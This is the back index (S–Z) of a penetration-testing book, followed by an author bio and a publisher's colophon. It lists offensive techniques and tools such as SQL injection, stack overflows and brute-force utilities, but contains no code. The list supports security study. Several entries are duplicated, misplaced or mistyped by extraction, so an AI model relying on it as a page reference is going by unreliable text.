discovering usernames by, 319
PPTP vulnerabilities, 321
session ID vulnerabilities, 181
sniffer-based spoofed scanning, 49, 58
VNC handshake, 235
SNMP service
ADMsnmp tool, 91
countermeasures, 306
discovering devices by reading from, 93
countermeasures, 100
default community strings, 92
process vulnerabilities, 94–95
snmpwalk tool, 92
snmpset utility, 92, 94
Index | 473
Simple Object Access Protocol (SOAP), 173
SING utility, 43, 44, 63
sirc3 tool, 75
Site Data Protection (SDP) program, xviii
SITE EXEC command, 210
SMB (Server Message Block) protocol
  CIFS service, 285
  executing commands, 282
countermeasures, 41, 305
dnamed pipe access, 266
null sessions, 270
overview, 256
rpcclient tool, 268–270
smbdumpusers utility, 285
SM-BAT tool, 281, 285, 286
smbbft utility, 286, 287
smbclient tool, 281
SMBCrack tool, 281, 289
smbdumpusers utility, 285, 286
SMTP (Simple Mail Transfer Protocol)
  brute-force attacks, 293, 294
circumventing content checking, 300–302
common email port, 290
countermeasures, 41, 305
countermeasures, 306
enumeration features, 292, 293
ESMTP, 292, 293
fingerprinting, 291, 292
countermeasures, 106
open relay testing, 294, 295
overview, 290
reconnaissance techniques, 17, 38, 39, 40
r-services and, 222
countermeasures, 306
vulnerabilities, 299–300
smtpmap tool, 291
smtpscan tool, 291
snapshots, window, 226
sniffing
countermeasures, 306
discovering usernames by, 319
PPTP vulnerabilities, 321
countermeasures, 306
session ID vulnerabilities, 181
VNC handshake, 235
SNMP service
ADMsnmp tool, 91
countermeasures, 306
discovering devices by reading from, 93
countermeasures, 100
default community strings, 92
process vulnerabilities, 94–95
snmpwalk tool, 92
snmpset utility, 92, 94
snmpwalk utility
  brute-force attacks and, 91
  OID values, 93
  overview, 92
  platforms supported, 12
  UDP port scanning, 60
SOAP (Simple Object Access Protocol), 173
socket() function, 376
Solaris, 154
Solaris platform
  fingerd service, 86, 87
  FTP service banners, 199, 200
  FTP vulnerabilities, 207, 209
  Nessus support, 378
  RPC service and, 330, 335, 336
  r-services support, 220
  Sendmail support, 295
  Telnet support, 216, 217
Solstice AdminSuite Daemon (sadmind), 335, 336
Song, Dug, 63
Sony Music, 330
source routing, 66–69
sp_makewebtask stored procedure, 188, 189
SPARC platform, 356
SPI Dynamics WebInspect, 16
SpiderFoot tool, 37
split horizon DNS, 41
spoofing
  IDS evasion and, 62
  internal IP addresses and, 103
  RSH connections, 223
  sniffer-based scanning, 49, 58
spoofscan tool, 58
Sprint, 330
SQL Auditing Tool (SQLAT), 242
SQL injection
  dangerous character strings, 192
  Nessus and, 388
  Oracle vulnerabilities, 250
  overview, 186–191
SQL Server Resolution Service (SSRS), 239
SQL*Net login process, 247
SQLAT (SQL Auditing Tool), 242
sqlbf utility, 242
sql dict utility, 242
sqlite_decode_binary() function, 137
SQLPing utility, 240
sqlplus utility, 249
sreplace() function, 211
SRV record (DNS), 82
SSH (Secure Shell) services
  brute-force attacks and, 214
  fingerprinting, 213
  overview, 212
  port forwarding, 212
  vulnerabilities, 214–215
SSH Communications, 212, 213
SSI (Server-side Includes), 123
SSL
  basic querying, 322–324
  countermeasures, 329
  enumerating weak cipher support, 324–327
  vulnerabilities, 328, 329
SSL tunnel
  email services, 290
  LDAP services and, 79
  querying web servers, 106
ssl_log() function, 149
ssl_util_uuencode_binary() function, 149
SSLv2 large client key overflow, 154
SSP (Security Support Provider), 128, 129
SSRR (Strict Source and Route Record), 67
SSRS (SQL Server Resolution Service), 239
stack
  defined, 344
  nonexecutable implementation, 375
  reading adjacent items, 367, 369
  reading from any address on, 369, 370
  stack frame, 344, 356, 373
  stack frame pointer (see ebp)
  stack frame variables, 347
  stack off-by-one attack, 347, 352–356, 373
  stack overflows, 346–356, 364
  stack pointer (esp), 344–345, 350, 351
  stack segment, 345, 373
  stack smash attack, 347, 347–352, 373
  static overflows, 364, 374
  status command, 246
  status service, 331
  sticky bit, 203
STM extension, 123
stop command, 247
stored procedures, 187–190
str_replace() function, 137
strcpy() function, 348
Strict Source and Route Record (SSRR), 67
stunnel tool (see SSL tunnel)
SUBSCRIBE extension, 124
Sun Java System Application Server, 168, 169
Sun Microsystems platform
FTP service banners, 200
hackers and, 330
Sendmail vulnerabilities, 295
SNMP vulnerabilities, 94
telnet support, 217
SuperScan (Foundstone), 52
superuser privileges, 7
Supervisory Control And Data Acquisition (SCADA), 379
Sutton, Michael, 376
Sybase database services, 239
Symantec Backup Exec, 239
Syn Ack Labs, 68
SYN flood attacks, 51, 52, 78
SYN scanning
Nessus support, 386
TCP port scanning and, 49, 50–53, 70
SYN/ACK packets, 51, 71
Sysinternals PsTools package, 282
SYSKEY encryption, 284
syslog() function, 367, 374
Sys-Security Group, 48
system call monitoring, 376
system registry (see registry keys)
system() command, 183, 186
Systrace tool, 376

T
Tamper Data tool, 181
TARGET variable, 399
Task Scheduler service (see Microsoft Task Scheduler)
TCP flag scanning, inverse, 49, 53–54, 70
TCP fragmentation scanning, 49
TCP port scanning
ACK flag probe scanning, 49, 54–56
countermeasures, 78
FTP bounce scanning, 49, 56–57
IP ID header scanning, 49, 58–60, 76
overview, 49–60, 77
proxy bounce scanning, 49, 58
sniffer-based spoofed scanning, 49, 58
SYN flag scanning, 49, 50–53, 70
TCP flag scanning, 49, 53–54, 70
TCP fragmentation scanning, 49
vanilla connect() scanning, 49–50
TCP ports, 415–417
tcpdump utility, 48, 64, 74
telnet services
brute-force grinding, 218–219
countermeasures, 237
fingerprinting, 216–218
overview, 215
SSH support, 213
vulnerabilities, 212, 215, 219–220
telnet utility, 12
TelnetFP, 216
telrcv() function, 220
tenable Network Security, Inc., 377, 378
TERM environment variable, 371
termcap environment variable, 220
TESO, 356
testing
database vulnerabilities, 241
Nessus and, 389
open relay, 294, 295
penetration, 4, 113–114, 216, 402
software vulnerabilities, 341
web applications, 3, 10, 16, 328
web services, 101, 102
text segment, 343, 345
tftp utility, 60, 250
tftpd daemon, 94
THC Hydra tool
authentication and, 119, 129, 157, 181
FrontPage and, 143
FTP services, 204
IMAP services, 304
MySQL vulnerabilities, 252
OWA and, 127
POP3 and, 302
SMTP and, 293
SNMP and, 91
THC-pptp-bruter tool, 321
3Com, 6, 92, 219
3DES algorithm, 315
timeout, session, 184, 196
time-to-live (TTL) field (RST packets), 54, 55
TIS Gauntlet, 39
TLDs (top-level domains), 20
TLS (Transport Layer Security), 377
TNS (Transparent Network Substrate) protocol
countermeasures, 255
information leak attacks, 245–247
listener enumeration attacks, 245–247
Oracle support, 244
process manipulation attacks, 248
tnscmd.pl tool, 245–246
ToolTalk Database (TTDB) service, 338
top-level domains (TLDs), 20
TRACE method (HTTP), 116, 133
traceroute tool
  ICMP support, 42
  low-level IP assessment, 74
  reconnaissance tasks, 13
  source routing and, 66
tracert command, 13
Trailer: field, 172
Transfer-Encoding: field, 172
transform enumeration, 315, 316
Transparent Network Substrate protocol (see TNS protocol)
Transport Layer Security (TLS), 377
tree command, 163
Trojan horse programs, 301
TSGrinder tool, 233
TSIG overflow, 81
TTDB (ToolTalk Database) service, 338
TTDB service, 207, 208
TTL (time-to-live) field (RST packets), 54, 55
TTL-based scanning, 51
TXDNS grinding tool, 35, 85

U
U.S. Department of Defense, xiii
Ubuntu distribution, 12
UDDI (Universal Description, Discovery, and Integration), 173
UDF (User Defined Function), 254
UDP port scanning
  countermeasures, 78
  overview, 60–62, 77
  recommended source ports, 70
UDP ports, 418
Unicode, 176, 179
Universal Description, Discovery, and Integration (UDDI), 173
Unix-based platforms
  assessing FTP permissions, 202
  BIND service, 81
  fingerd service, 86, 87
  FTP bounce scanning, 56
  Nessus support, 378, 380, 381
  NTP services, 89, 90
  RPC vulnerabilities, 337–338
  r-services, 220
  rsusers service, 98
  rwkod service, 98
Samba vulnerabilities, 287, 288
security flaws, 340
smbclient tool, 281
SMTP services, 291
Telnet support, 216
(see also RPC services)
unlink() function, 360
UNLOCK method (HTTP), 117
UNSUBSCRIBE extension, 124
UPDATE command (SQL), 190
Upgrade: field, 172
URG TCP flag, 53
Unity, 263, 273
URLscan tool, 138, 140, 158, 196
use command, 398
user accounts
  accessing SAM database, 284
  authentication vulnerabilities, 181
  brute-force attacks, 293
  countermeasures, 289, 305
  PAM authentication, 220
  RPC service, 269
  Sendmail vulnerabilities, 295, 298
  username grinding, 209
  WMIdump tool, 271
User Defined Function (UDF), 254
User-Agent: field, 172
UTF-8 decimal encoding, 178
UW IMAP, 304, 305

V
van Wyk, Kenneth, 376
vanilla connect() scanning, 49–50
Vendor ID (VID), 312
venom utility, 271
VeriSign iDefense Security Intelligence Services, 6
version command, 245, 246
version.bind requests, 80, 81
VID (Vendor ID), 312
Viega, John, 376
virtual hosts, identifying, 113, 114
Virtual Network Computing (VNC), 234–238
virtualization software, 10, 11, 379
VISA AIS scheme, xviii
Vitek, Ian, 230, 231
VMware, 11, 379
VNC (Virtual Network Computing), 234–238
VNC inject payload (MSF), 396
VNCrack utility, 235, 236
Index | 477

Volobuev, Yuri, 44

VPN services
attacking, 311–320
countermeasures, 306, 329
discovering usernames, 319
IKE support, 308–310
IPsec, 307–310
ISAKMP support, 308–310
Microsoft PPTP, 320, 321
SSH support, 212
SSL support, 321–328
vulnerabilities, 307

VRFY command (Sendmail), 295, 296, 297
Vscan tool, 54, 60
VsFTPd service, 201

vulnerabilities
exploiting, 4, 7
generic subsystem, 132–138
investigating, 4, 6, 7
memory manipulation attacks, 373, 374
network services, 342–345
parameter modification, 184–196
search engine attacks, 341
in software, 341
sources of information, 420–421

vulnerability scanning
defined, 3
MetaCoretex, 241, 250, 252
Nessus Security Scanner, 12, 13, 14, 377–392

W

walksam utility, 267–268
Wapiti, 16
Warning: field, 172
Watchfire AppScan, 16
WatchGuard, 78

web applications
attack strategies
filter evasion techniques, 176–180
HTTP cookie fields, 173
HTTP request headers, 172–173
server-side script variables, 171
XML request content, 173–176
compiling from source, 376
countermeasures, 196, 197
format string bugs, 367–373
heap overflows, 356–363
integer overflows, 364–367
memory manipulation attacks, 373, 374
profiling
backend database assessments, 170
HTML source review, 162–164
server-side file extensions, 165
session ID fingerprinting, 167–169
software vulnerabilities, 341
stack overflows, 346–356
technologies overview, 160
testing, 3, 10, 16, 328
vulnerabilities
authentication issues, 180–184
parameter modification, 184–196
Web Distributed Authoring and Versioning
(see WebDAV)
web server crawling
e Enumeration countermeasures, 40
overview, 155–157
reconnaissance techniques, 17, 37, 40
web servers
Apache vulnerabilities, 145–155
countermeasures, 158, 159
fingerprinting accessible, 102–107
generic subsystem vulnerabilities, 132–138
identifying enabled components, 131–132
identifying subsystems, 114–130
Microsoft vulnerabilities, 138–145
penetration tests, 113, 114
reverse proxy mechanisms, 107–113
running unusual architecture, 375
steps involved in testing, 101, 102
transfer-encoding mechanisms, 176
web services, 173, 175, 196
Web Services Description Language (WSDL), 174–175
web site crawling, 164, 170
WebDAV (Web Distributed Authoring and Versioning)
ISAPI extensions, 123, 124
overview, 116–117
vulnerabilities, 136, 142
WebLogicSession variable, 168
WebScarab, 16
WHOIS databases
enumeration countermeasures, 40
querying domain registrars, 20–23
querying IP registrars, 23–28
reconnaissance techniques, 5, 13, 17, 40
whois utility, 13, 21–26
Wikto tool, 37, 113, 156
WINDOW field (RST packets), 54, 55
Window Manager, 228
Windows Management Interface (WMI), 270, 271
Windows Media Services, 126
Windows networking services
  CIFS support, 256, 270, 282, 285–287
countermeasures, 288, 289
  Microsoft RPC services, 257–273
  NetBIOS support, 256, 266, 273–284, 285
  ports used, 256
  Samba vulnerabilities, 287, 288
SMB support, 256
Windows platforms (see Microsoft Windows platforms)
  winfo tool, 277, 278, 280
Winrtgen toolkit, 284
WINS service, 82–83
WMI (Windows Management Interface), 270, 271
WMICracker tool, 270
WMIdump tool, 271
write community string, 92
WRITE method, 142
WSDL (Web Services Description Language), 174–175
WU-FTPD service, 201, 210–211
WU-IMAP, 304
WWW-Authenticate: field, 119

X

  X Consortium, 224
  X Windows, 224–228
XAUTH authentication, 308, 315–316, 320
  xauth utility, 225
  Xauthority file extension, 225
  XFree86 window management system, 228
  XGetImage() function, 226
  xhost command, 224
  X-LINK2STATE command, 299
  XMAS probes, 53, 54
  XML messages, 173–176
  X-MS-ENUMATTS extension, 124
  xntpd command, 90
  xp_cmdshell stored procedure, 188, 242
  xp_regread stored procedure, 189
  X-Powered-By: field, 137
  xprobe2 utility, 48
  xp_pusher program, 227
  xscan utility, 225
  XsendEvent() function, 227
  xspy tool, 227
  XSS (cross-site scripting)
    Apache vulnerabilities, 146, 149, 150
    Citrix and, 232
    filter evasion techniques, 178
    IIS vulnerabilities and, 140
    Nessus support, 388
    TRACE method and, 133
    vulnerabilities, 181, 194–196
    web application attack strategies, 175
  XSS Shell application, 196
  XSS-Proxy application, 196
  xst (cross-site tracing), 133
  xterm application, 224
  xtester program, 227
  xwatchwin utility, 226
  xwd tool, 226
  xwininfo command, 226, 227
  xwud command, 226
  Xylex, 219

Y

  YASQL (Yet Another SQL*Plus Replacement), 249

Z

  zombies, 3, 59
  zone transfers (see DNS zone transfers)
About the Author

Chris McNab is a Technical Director of London-based security firm Matta, which provides technical training and penetration testing services. A full-time network security analyst for more than nine years, Chris has worked with many large clients and government organizations throughout the world to help them improve network security through penetration testing and providing security training.

Colophon

We figured we’d ask you to describe what the individual on the cover of Network Security Tools is doing. If you know, email ideas@oreilly.com.

The cover image is from Men: A Pictorial Archive from Nineteenth-Century Sources (Dover Pictorial Archive Series). The cover font is Adobe ITC Garamond. The text font is Linotype Birka; the heading font is Adobe Myriad Condensed; and the code font is LucasFont’s TheSans Mono Condensed.